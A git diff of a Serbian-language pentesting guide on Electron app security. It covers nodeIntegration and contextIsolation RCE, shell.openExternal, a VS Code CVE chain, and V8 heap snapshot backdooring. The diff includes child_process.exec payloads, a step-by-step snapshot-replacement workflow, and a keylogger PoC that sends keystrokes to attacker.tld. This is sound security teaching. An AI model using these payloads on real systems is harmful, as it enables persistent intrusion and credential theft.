diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 93dadcca1..bfe7f3c36 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,27 +4,27 @@ ## Uvod -Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki bezbednosni mehanizmi modernih pregledača. +Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pretraživača. -Obično možete pronaći kod Electron aplikacije unutar `.asar` aplikacije; da biste dobili kod, potrebno ga je ekstrahovati: +Obično možete naći kod Electron aplikacije unutar `.asar` arhive; da biste dobili kod, potrebno je da je izdvojite: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -U izvornom kodu Electron aplikacije, u fajlu `packet.json`, možete pronaći navedeni fajl `main.js` u kojem su podešene bezbednosne konfiguracije. +U izvornom kodu Electron aplikacije, u datoteci `packet.json`, možete pronaći specificiranu datoteku `main.js` u kojoj su podešene sigurnosne konfiguracije. ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron има 2 типа процеса: +Electron ima 2 tipa procesa: -- Главни процес (има пун приступ NodeJS) -- Рендерер процес (требало би да има ограничен приступ NodeJS из безбедносних разлога) +- Main Process (ima potpuni pristup NodeJS-u) +- Renderer Process (trebalo bi da ima ograničen pristup NodeJS-u iz bezbednosnih razloga) ![](<../../../images/image (182).png>) -Рендерер процес ће бити прозор прегледача који учитава фајл: +A **renderer process** biće prozor pregledača koji učitava fajl: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,20 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar fajla main.js. Neka od podešavanja mogu **sprečiti da Electron application dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**. +Podešavanja **renderer process** mogu se **konfigurisati** u **main process** u fajlu main.js. Neka od podešavanja mogu **sprečiti Electron application da dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**. -Electron application može **pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči: +The electron application **could access the device** via Node apis although it can be configure to prevent it: -- **`nodeIntegration`** - podrazumevano je `off`. Ako je `on`, omogućava pristup Node funkcijama iz renderer process. -- **`contextIsolation`** - podrazumevano je `on`. Ako je `off`, main i renderer processes nisu izolovani. -- **`preload`** - podrazumevano prazan. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati. -- Node Integration u Worker-ima -- **`nodeIntegrationInSubframes`** - podrazumevano je `off`. -- Ako je **`nodeIntegration`** **omogućen**, to bi dozvolilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframe-ovima** unutar Electron application. -- Ako je **`nodeIntegration`** **onemogućen**, onda će se preload-ovi učitavati u iframe-u +- **`nodeIntegration`** - je `off` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer procesa. +- **`contextIsolation`** - je `on` po defaultu. Ako je `off`, main i renderer procesi nisu izolovani. +- **`preload`** - prazan po defaultu. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je `off` po defaultu. Ograničiće akcije koje NodeJS može izvršavati. +- Node Integration u Workers +- **`nodeIntegrationInSubframes`** - je `off` po defaultu. +- Ako je **`nodeIntegration`** **enabled**, to bi omogućilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframes** unutar Electron application. +- Ako je **`nodeIntegration`** **disabled**, tada će preloads biti učitani u iframe -Primer konfiguracije: +Example of configuration: ```javascript const mainWindowOptions = { title: "Discord", @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Neki **RCE payloads** sa [here](https://7as.es/electron/nodeIntegration_rce.txt): +Neki **RCE payloads** iz [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): ``` ### Presretanje saobraćaja -Izmenite start-main konfiguraciju i dodajte upotrebu proxy-a kao na primer: +Izmenite konfiguraciju start-main i dodajte korišćenje proxy-ja, na primer: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Lokalna injekcija koda u Electronu +## Electron Local Code Injection -Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da izvrši proizvoljni JavaScript kod. Pogledajte kako u: +Ako možete lokalno izvršiti Electron App, moguće je da biste ga mogli naterati da izvrši proizvoljan javascript kod. Pogledajte kako u: {{#ref}} @@ -112,7 +112,7 @@ Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da i ## RCE: XSS + nodeIntegration -Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavnim pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windowsu je: +Ako je **nodeIntegration** podešen na **on**, JavaScript na web stranici može lako da koristi Node.js funkcionalnosti jednostavno pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windows-u je: ```html ``` -> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće radati** +> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi** ## RCE: XSS + contextIsolation -The _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i internog JavaScript koda Electron-a** tako da izvršavanje JavaScript koda jedne strane ne utiče na drugu. Ovo je neophodna funkcija kako bi se eliminisala mogućnost RCE. +_**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electrona** tako da izvršavanje JavaScript-a jednog koda ne utiče na drugi. Ovo je neophodna funkcija za eliminisanje mogućnosti RCE. Ako konteksti nisu izolovani, napadač može: -1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigacija ka eksternim sajtovima) -2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili u internom Electron kodu da bi preuzeo kontrolu nad funkcijom -3. **Pokrenuti** korišćenje **prepisane funkcije** +1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigaciju ka eksternim sajtovima) +2. **Prepisati ugrađenu metodu** koja se koristi u preload ili unutrašnjem Electron kodu da bi se preuzela kontrola nad funkcijom +3. **Pokrenuti** upotrebu **prepisane funkcije** 4. RCE? -There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: +Postoje 2 mesta gde ugrađene metode mogu biti prepisane: u preload kodu ili u unutrašnjem Electron kodu: {{#ref}} @@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-ipc.md {{#endref}} -### Zaobilaženje događaja klika +### Zaobilaženje click event-a -Ako postoje ograničenja koja se primenjuju kada kliknete na link, možda ih možete zaobići **srednjim klikom** umesto regularnog levog klika +Ako su primenjena ograničenja prilikom klika na link, možda ih možeš zaobići **srednjim klikom** umesto regularnog levog klika ```javascript window.addEventListener('click', (e) => { ``` -## RCE putem shell.openExternal +## RCE via shell.openExternal -Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Prilikom raspoređivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron's native code iz main process-a bude efikasno sprečena kada su ova podešavanja aktivna. +Prilikom objavljivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** usmereno na preload skripte ili native kod Electrona iz glavnog procesa biva efikasno onemogućeno kada su ta podešavanja primenjena. -Kada korisnik interaguje sa linkovima ili otvori novi prozor, aktiviraju se određeni slušači događaja koji su ključni za bezbednost i funkcionalnost aplikacije: +Kada korisnik interaguje sa linkovima ili otvori nova prozora, pokreću se određeni event listener-i koji su ključni za bezbednost i funkcionalnost aplikacije: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Ovi slušači su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li navigacioni link treba da se otvori interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju `openInternally`. Ako ova funkcija vrati `false`, to znači da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`. +Ovi listeneri su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li treba otvoriti navigisani link interno ili u eksternom web browseru. Odluka se obično donosi pomoću funkcije, `openInternally`. Ako ta funkcija vraća `false`, to znači da link treba otvoriti eksterno, koristeći `shell.openExternal` funkciju. -**Here is a simplified pseudocode:** +**Evo pojednostavljenog pseudokoda:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Preporuke za sigurnost Electron JS-a savetuju da se izbegava prihvatanje nepouzdanog sadržaja pomoću funkcije `openExternal`, jer to može dovesti do RCE preko različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje o ovoj temi, može se pogledati [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobne da iskoriste ovu ranjivost. +Najbolje bezbednosne prakse za Electron JS ne preporučuju prihvatanje nepouzdanog sadržaja preko `openExternal` funkcije, jer to može dovesti do RCE-a kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu okinuti RCE. Za detaljne primere i dodatno objašnjenje na ovu temu, pogledajte [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih da iskoriste ovu ranjivost. -U macos-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, kao u `shell.openExternal('file:///System/Applications/Calculator.app')`. +Na macos-u, `openExternal` funkcija se može iskoristiti za izvršavanje proizvoljnih komandi, kao na primer u `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Primeri Windows protocol exploits uključuju:** +**Primeri Windows protokol exploata uključuju:** ```html ``` -## `file://` Протокол +## `file://` Protokol -As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **прилагођени протокол** спречава овакве проблеме јер можете ограничити протокол да служи само одређени скуп фајлова. +Kao što je pomenuto u [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću preko **`file://`** imaju jednostran pristup svim fajlovima na vašem računaru, što znači da **XSS ranjivosti mogu biti iskorišćene za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol da servira samo određeni skup fajlova. ## Remote module -The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. +The Electron Remote module omogućava **renderer processes to access main process APIs**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne sigurnosne rizike. Povećava površinu napada aplikacije, čineći je podložnijom ranjivostima kao što su cross-site scripting (XSS) napadi. > [!TIP] -> Иако **remote** module излаже неке APIs из main-а renderer процесима, није једноставно добити RCE само злоупотребом компоненти. Међутим, компоненте могу открити осетљиве информације. +> Iako **remote** modul izlaže neke API-je iz main u renderer processes, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu otkriti osetljive informacije. > [!WARNING] -> Многе апликације које и даље користе remote module то раде на начин који захтева да **NodeIntegration буде омогућен** у renderer процесу, што је **огроман безбедносни ризик**. +> Mnoge aplikacije koje još uvek koriste remote module to rade tako da je potrebno omogućiti **NodeIntegration** u renderer process, što je **ogroman sigurnosni rizik**. -Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**. +Od Electron 14 `remote` module može biti omogućen u nekoliko koraka, ali iz bezbednosnih i performansnih razloga **se preporučuje da se ne koristi**. -To enable it, it'd first needed to **enable it in the main process**: +Da biste ga omogućili, prvo je potrebno **enable it in the main process**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() @@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({ }) remoteMain.enable(mainWindow.webContents) ``` -Zatim, renderer proces može da importuje objekte iz modula na sledeći način: +Zatim, renderer proces može da uvozi objekte iz modula na sledeći način: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula: - **`app.relaunch([options])`** -- **Ponovo pokreće** aplikaciju tako što zatvara trenutnu instancu i pokreće novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**. +- **Ponovo pokreće** aplikaciju zatvaranjem trenutne instance i pokretanjem nove. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**. - **`app.setAppLogsPath([path])`** -- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**. +- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **dobiti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** -- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za navedeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi. +- **Registruje** trenutni izvršni fajl kao **podrazumevani rukovalac** za određeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi. - **`app.setUserTasks(tasks)`** -- **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji **argumenti** se prosleđuju. +- **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju. - **`app.importCertificate(options, callback)`** -- **Uvozi** PKCS#12 sertifikat u sistemski **certificate store** (samo Linux). **Callback** se može koristiti za obradu rezultata. +- **Uvozi** **PKCS#12 certificate** u sistemsko **skladište sertifikata** (samo Linux). Može se koristiti **callback** za obradu rezultata. - **`app.moveToApplicationsFolder([options])`** -- **Premešta** aplikaciju u fasciklu **Applications** (na macOS). Pomaže da se obezbedi **standardna instalacija** za macOS korisnike. +- **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za korisnike macOS-a. - **`app.setJumpList(categories)`** -- **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku. +- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci pojavljuju korisniku. - **`app.setLoginItemSettings(settings)`** -- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows). +- **Konfiguriše** koje **izvršne datoteke** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows). -Example: +Primer: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences modul -**Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** su sve **deo** ovog modula. +**Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** su sve **deo** ovog modula. **Primer upotrebe:** ```javascript @@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** -* **Osluškuje** **ugrađene macOS notifikacije** koristeći NSDistributedNotificationCenter. -* Pre **macOS Catalina**, moglo se prisluškivati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver. -* Posle **Catalina / Big Sur**, sandbox-ovane aplikacije i dalje mogu **pretplatiti se** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **mount-ovanje volumena**, **network activity**, itd.) registrovanjem notifikacija **po imenu**. +* **Osluškuje** native macOS notifications koristeći NSDistributedNotificationCenter. +* Pre macOS Catalina, moglo se sniff-ovati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver. +* Posle Catalina / Big Sur, sandboxed apps i dalje mogu **subscribe**-ovati na **mnoge događaje** (na primer, **screen locks/unlocks**, **volume mounts**, **network activity**, itd.) registrovanjem notifications **po imenu**. ### **getUserDefault / setUserDefault** -* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preference na macOS. +* **Interfejsira** sa NSUserDefaults, koji čuva **application** ili **global** preferences na macOS. -* **getUserDefault** može **preuzeti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**. +* **getUserDefault** može **dohvatiti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**. -* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na **konfiguraciju** aplikacije. +* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na konfiguraciju aplikacije. -* U **starijim verzijama Electron** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **dostupan**. +* U **starijim verzijama Electron-a** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **pristupačan**. ## Shell.showItemInFolder -Ova funkcija prikazuje dati fajl u file manageru, koji **bi mogao automatski izvršiti fajl**. +Ova funkcija prikazuje zadati fajl u file manageru, koji **može automatski izvršiti fajl**. For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy -Electron apps treba da imaju **Content Security Policy (CSP)** kako bi **sprečili XSS napade**. **CSP** je **bezbednosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u browseru. +Electron apps treba da imaju **Content Security Policy (CSP)** da bi **sprečili XSS napade**. **CSP** je **security standard** koji pomaže da se **spreči** izvršavanje **nepouzdanog koda** u browser kontekstu. -Obično se **konfiguriše** u fajlu **`main.js`** ili u **`index.html`** template-u sa CSP unutar **meta taga**. +Obično se **konfiguriše** u **`main.js`** fajlu ili u **`index.html`** šablonu sa CSP unutar **meta taga**. For more information check: @@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/ {{#endref}} -## **Tools** +## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) -- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje misconfigurations i security anti-patterns u Electron-based aplikacijama. -- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code plugin za Electron applications koji koristi Electronegativity. -- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih third party biblioteka -- [**Electro.ng**](https://electro.ng/): Potrebno je kupiti +Ovaj real-world lanac je pogodio Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje kako jedna markdown-driven XSS u webview-u može eskalirati do potpunog RCE kada su CSP, postMessage i scheme handlers pogrešno konfigurisani. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt -## Labs +Attack chain overview +- First XSS via webview CSP: Generisani CSP je uključivao `style-src 'self' 'unsafe-inline'`, dozvoljavajući inline/style zasnovanu injekciju u `vscode-webview://` kontekstu. Payload je beaconed na `/stealID` da bi exfiltrirao target webview’s extensionId. +- Constructing target webview URL: Korišćenjem leak ID za izgradnju `vscode-webview:///.../`. +- Second XSS via postMessage trust: Outer webview je verovao `window.postMessage` bez strogih provera origin/type i učitao attacker HTML sa `allowScripts: true`. +- Local file loading via scheme/path rewriting: Payload je prepisao `file:///...` u `vscode-file://vscode-app/...` i zamenio `exploit.md` sa `RCE.html`, zloupotrebljavajući slabu validaciju putanje da učita privilegovani lokalni resurs. +- RCE in Node-enabled context: Učitana HTML stranica se izvršavala sa dostupnim Node API-ima, što je omogućilo izvršavanje OS komandi. -U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći lab vežbu za eksploataciju ranjivih Electron aplikacija. +Example RCE primitive in the final context +```js +// RCE.html (executed in a Node-enabled webview context) +require('child_process').exec('calc.exe'); // Windows +require('child_process').exec('/System/Applications/Calculator.app'); // macOS +``` +Povezano štivo o problemima poverenja postMessage-a: -Neke komande koje će vam pomoći u labu: +{{#ref}} +../../../pentesting-web/postmessage-vulnerabilities/README.md +{{#endref}} + +## **Alati** + +- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i sigurnosnih anti-patterna u aplikacijama zasnovanim na Electronu. +- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je VS Code dodatak otvorenog koda za Electron aplikacije koji koristi Electronegativity. +- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana +- [**Electro.ng**](https://electro.ng/): Potrebno ga je kupiti + +## Laboratorije + +U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći laboratoriju za eksploatisanje ranjivih Electron aplikacija. + +Neke komande koje će vam pomoći u laboratoriji: ```bash # Download apps from these URls # Vuln to nodeIntegration @@ -437,13 +460,13 @@ npm start ``` ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 -Electron i aplikacije zasnovane na Chromium-u deserializuju prebuilt V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da bi inicijalizovale svaki V8 isolate (main, preload, renderer). Istorijski gledano, Electron-ove integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegavali kako enforcement zasnovan na fuse-ovima tako i OS provere potpisivanja koda. Kao rezultat, zamena snapshot-a u instalaciji u kojoj korisnik ima pravo pisanja omogućavala je prikriveno, persistentno izvršavanje koda unutar aplikacije bez menjanja potpisanih binarnih fajlova ili ASAR. +Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR. -Key points -- Propust u integritetu: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar validiraju app JavaScript unutar ASAR-a, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium na sličan način ne proverava integritet snapshots. -- Uslovi napada: Lokalna mogućnost pisanja fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron aplikacije ili Chromium browsers instalirani u putanje koje korisnik može pisati (npr. %AppData%\Local na Windows; /Applications uz ograničenja na macOS). -- Efekat: Pouzdano izvršavanje attacker JavaScript-a u bilo kojem isolate-u tako što se prepiše često korišćeni builtin (gadget), omogućavajući persistenciju i izbegavanje verifikacije potpisivanja koda. -- Pogođena površina: Electron apps (čak i sa uključenim fuses) i Chromium-based browsers koji učitavaju snapshots iz lokacija koje korisnik može menjati. +Ključne tačke +- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. +- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). +- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. +- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. Generating a malicious snapshot without building Chromium - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. @@ -462,12 +485,11 @@ Array.isArray = function () { throw new Error("testing isArray gadget"); }; ``` -Usmeravanje payloada u zavisnosti od isolata (pokretanje različitog koda u main i renderer) +Isolate-aware payload routing (pokreni različit kod u main vs. renderer) +- Detekcija main procesa: Node-only globals poput process.pid, process.binding(), ili process.dlopen su prisutni u main process isolate. +- Detekcija Browser/renderer: Browser-only globals poput alert dostupni su prilikom izvršavanja u kontekstu dokumenta. -- Detekcija main procesa: Node-only globals kao što su process.pid, process.binding(), или process.dlopen su prisutni u main process isolatu. -- Detekcija browser/renderer-a: Browser-only globals kao što je alert su dostupni kada se izvršava u kontekstu dokumenta. - -Primer gadgeta koji jednom ispituje Node capabilities main procesa +Primer gadgeta koji jednom sondira main-process Node capabilities ```js const orig = Array.isArray; @@ -496,7 +518,7 @@ process.exit(0); return orig(...arguments); }; ``` -PoC za krađu podataka iz Renderer/browser-context (npr. Slack) +PoC krađe podataka iz renderer/browser-context (npr. Slack) ```js const orig = Array.isArray; Array.isArray = function() { @@ -520,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no return orig(...arguments); }; ``` -Tok rada operatera -1) Napišite payload.js koji prepisuje uobičajeni builtin (npr. Array.isArray) i opciono granuje po isolate-u. -2) Izgradite snapshot bez Chromium izvora: +Operaterov radni tok +1) Napišite payload.js koji prepisuje uobičajeni builtin (npr., Array.isArray) i po potrebi pravi grananje po isolate. +2) Napravite snapshot bez Chromium izvora: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" -3) Zamenite snapshot fajl(ove) ciljane aplikacije: +3) Prepišite snapshot fajl(ove) ciljane aplikacije: - v8_context_snapshot.bin (uvek se koristi) - browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot) -4) Pokrenite aplikaciju; gadget se izvršava kad god se koristi izabrani builtin. +4) Pokrenite aplikaciju; gadget se izvršava svaki put kada se upotrebi odabrani builtin. -Beleške i razmatranja -- Integrity/signature bypass: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi u proverama code-signing-a i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta. -- Persistence: Zamena snapshot-a u instalaciji u kojoj korisnik ima prava za pisanje obično preživi restart aplikacije i izgleda kao potpisana, legitimna aplikacija. -- Chromium browsers: Isti koncept manipulacije važi za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mere integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog modela pretnji. +Napomene i razmatranja +- Zaobilaženje integriteta/potpisa: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi od strane provera potpisivanja koda i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta. +- Perzistencija: Zamena snapshot-a u instalaciji gde korisnik ima pravo pisanja obično opstaje nakon restartovanja aplikacije i deluje kao potpisana, legitimna aplikacija. +- Chromium browsers: Isti koncept manipulisanja važi i za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mitigacije integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog threat model-a. -Otkrivanje i ublažavanje -- Tretirati snapshot-e kao izvršni sadržaj i uključiti ih u primenu provera integriteta (CVE-2025-55305 fix). -- Preferirati lokacije instalacije koje su upisive samo administratoru; napraviti baseline i nadgledati hasheve za v8_context_snapshot.bin i browser_v8_context_snapshot.bin. -- Detektovati rano pri izvršavanju prepisivanje ugrađenih funkcija (builtin) i neočekivane promene snapshot-a; alarmirati kada deserijalizovani snapshot-i ne odgovaraju očekivanim vrednostima. +Detekcija i mitigacije +- Tretirajte snapshot-e kao izvršni sadržaj i uključite ih u sprovođenje kontrole integriteta (ispravka CVE-2025-55305). +- Preferirajte lokacije instalacije koje su writable samo za admina; uspostavite početne i pratite hash vrednosti za v8_context_snapshot.bin i browser_v8_context_snapshot.bin. +- Detektujte rano-runtime clobbering builtin-a i neočekivane promene snapshot-a; alarmirajte kada deserializovani snapshot-i ne odgovaraju očekivanim vrednostima. -## **References** +## **Referencije** +- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/) +- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt) +- [GitHub Advisory 